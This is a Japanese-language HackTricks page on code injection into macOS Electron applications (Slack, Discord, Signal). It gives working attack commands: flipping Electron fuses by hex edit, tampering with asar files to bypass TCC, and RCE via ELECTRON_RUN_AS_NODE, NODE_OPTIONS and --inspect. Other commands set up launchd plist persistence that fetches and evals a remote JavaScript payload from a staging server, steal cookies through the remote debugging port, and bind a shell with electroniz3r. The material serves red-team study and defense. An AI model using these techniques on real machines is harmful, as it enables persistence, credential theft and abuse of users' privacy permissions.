macOS Electron Applications Injection

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

基本情報

Electronが何かわからない場合は、こちらで多くの情報を見つけることができます。ただし、今のところ、Electronはnodeを実行することを知っておくだけで十分です。 そして、nodeには、指定されたファイル以外のコードを実行するために使用できるパラメータ環境変数がいくつかあります。

Electron Fuses

これらのテクニックは次に議論されますが、最近のElectronにはこれらを防ぐためのいくつかのセキュリティフラグが追加されています。これらはElectron Fusesであり、これらはmacOSのElectronアプリケーションが任意のコードを読み込むのを防ぐために使用されるものです:

  • RunAsNode: 無効にすると、環境変数**ELECTRON_RUN_AS_NODE**の使用を防ぎ、コードのインジェクションを防ぎます。

  • EnableNodeCliInspectArguments: 無効にすると、--inspect--inspect-brkなどのパラメータが尊重されなくなります。この方法でコードをインジェクトすることを回避します。

  • EnableEmbeddedAsarIntegrityValidation: 有効にすると、ロードされた**asar** ファイルがmacOSによって検証されます。このファイルの内容を変更することによるコードのインジェクションを防ぎます。

  • OnlyLoadAppFromAsar: これが有効になっている場合、次の順序でロードを検索する代わりに: app.asarapp、最後に**default_app.asar。app.asarのみをチェックして使用するため、embeddedAsarIntegrityValidation**フューズと組み合わせると、検証されていないコードをロードすることが不可能であることが保証されます。

  • LoadBrowserProcessSpecificV8Snapshot: 有効にすると、ブラウザプロセスはV8スナップショットにbrowser_v8_context_snapshot.binというファイルを使用します。

コードインジェクションを防ぐことはないが、興味深いフューズもあります:

  • EnableCookieEncryption: 有効にすると、ディスク上のクッキーストアがOSレベルの暗号化キーを使用して暗号化されます。

Electron Fusesの確認

アプリケーションからこれらのフラグを確認することができます:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Electron Fusesの変更

ドキュメントに記載 されているように、Electron Fusesの構成は、Electron binary内に構成されており、どこかに文字列 dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX が含まれています。

macOSアプリケーションでは、通常、application.app/Contents/Frameworks/Electron Framework.framework/Electron Frameworkに配置されています。

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

https://hexed.it/でこのファイルをロードし、前の文字列を検索できます。この文字列の後に、各ヒューズが無効または有効かを示す数字「0」または「1」がASCIIで表示されます。ヒューズの値を変更するには、16進コードを変更します(0x300で、0x311です)。

Electronアプリケーションにコードを追加してRCE

Electronアプリが使用している外部JS/HTMLファイルがあるかもしれないため、攻撃者はこれらのファイルにコードをインジェクトし、その署名がチェックされずにアプリのコンテキストで任意のコードを実行できます。

ただし、現時点では2つの制限があります:

  • kTCCServiceSystemPolicyAppBundles権限が必要ですが、デフォルトではこれは不可能です。

  • 通常、コンパイルされた**asapファイルには、ヒューズembeddedAsarIntegrityValidationonlyLoadAppFromAsar**が有効になっています。

これにより、この攻撃経路がより複雑になります(または不可能になります)。

kTCCServiceSystemPolicyAppBundlesの要件をバイパスすることが可能であり、アプリケーションを別のディレクトリ(/tmpなど)にコピーし、フォルダ名をapp.app/Contentsからapp.app/NotConに変更し、悪意のあるコードでasarファイルを変更し、それを**app.app/Contents**に戻して実行することができます。

asarファイルからコードを展開することができます。

npx asar extract app.asar app-decomp

そして、それを修正した後にパックし直します。

npx asar pack app-decomp app-new.asar

ELECTRON_RUN_AS_NODE を使用した RCE

ドキュメントによると、この環境変数が設定されている場合、プロセスは通常の Node.js プロセスとして開始されます。

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

RunAsNode フューズが無効になっている場合、環境変数 ELECTRON_RUN_AS_NODE は無視され、これは機能しません。

アプリ Plist からのインジェクション

こちらで提案されているように、この環境変数を plist に悪用して持続性を維持することができます:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

NODE_OPTIONSを使用したRCE

異なるファイルにペイロードを保存して実行することができます:

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

もし EnableNodeOptionsEnvironmentVariable無効 になっている場合、アプリは起動時に環境変数 NODE_OPTIONS無視 します。ただし、環境変数 ELECTRON_RUN_AS_NODE が設定されている場合は、その環境変数も 無視 されます。ただし、fuse RunAsNode が無効になっている場合も同様です。

ELECTRON_RUN_AS_NODE を設定しない場合、次の エラー が発生します: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.

アプリ Plist からのインジェクション

これらのキーを追加して、この環境変数を plist で悪用することができます:

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

検査によるRCE

こちらによると、--inspect--inspect-brk、**--remote-debugging-port**などのフラグを使用してElectronアプリケーションを実行すると、デバッグポートが開かれ、それに接続できるようになります(たとえば、Chromeのchrome://inspectから)。そのため、コードを注入したり、新しいプロセスを起動したりすることができます。 例えば:

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

EnableNodeCliInspectArguments フューズが無効になっている場合、アプリは起動時に --inspect のようなノードパラメータを無視しますが、環境変数 ELECTRON_RUN_AS_NODE が設定されている場合は無視されます。ただし、フューズ RunAsNode が無効になっている場合も同様です。

ただし、electron パラメータ --remote-debugging-port=9229 を使用することはできますが、前述のペイロードは他のプロセスを実行するためには機能しません。

--remote-debugging-port=9222 パラメータを使用すると、Electronアプリから履歴(GETコマンドで)やブラウザのクッキー(ブラウザ内で復号され、それらを提供するjsonエンドポイントがあるため)などの情報を盗むことができます。

これについては、こちらこちらで学び、自動ツール WhiteChocolateMacademiaNut や以下のようなシンプルなスクリプトを使用できます:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

このブログポスト では、このデバッグを悪用して、ヘッドレスクロームが任意の場所に任意のファイルをダウンロードするようにします。

アプリ Plist からのインジェクション

これらのキーを追加して永続性を維持するために、この環境変数を plist で悪用することができます:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

古いバージョンを悪用したTCCバイパス

macOSのTCCデーモンは、アプリケーションの実行バージョンをチェックしません。したがって、前述のいずれのテクニックでもElectronアプリケーションにコードをインジェクトできない場合は、以前のバージョンのAPPをダウンロードしてコードをインジェクトすることができます。それでもTCC権限を取得します(Trust Cacheが防止しない限り)。

非JSコードの実行

前述のテクニックにより、Electronアプリケーションのプロセス内でJSコードを実行できます。ただし、子プロセスは親アプリケーションと同じサンドボックスプロファイルで実行され、TCC権限を継承します。 したがって、たとえばカメラやマイクにアクセスするために権限を悪用したい場合は、プロセスから別のバイナリを実行するだけで済みます。

自動インジェクション

ツールelectroniz3rは、インストールされている脆弱なElectronアプリケーションを見つけ、それらにコードをインジェクトするのに簡単に使用できます。このツールは**--inspect**テクニックを使用しようとします:

自分でコンパイルする必要があり、次のように使用できます:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
    Bundle identifier                             Path                                               
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

参考文献

htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

Last updated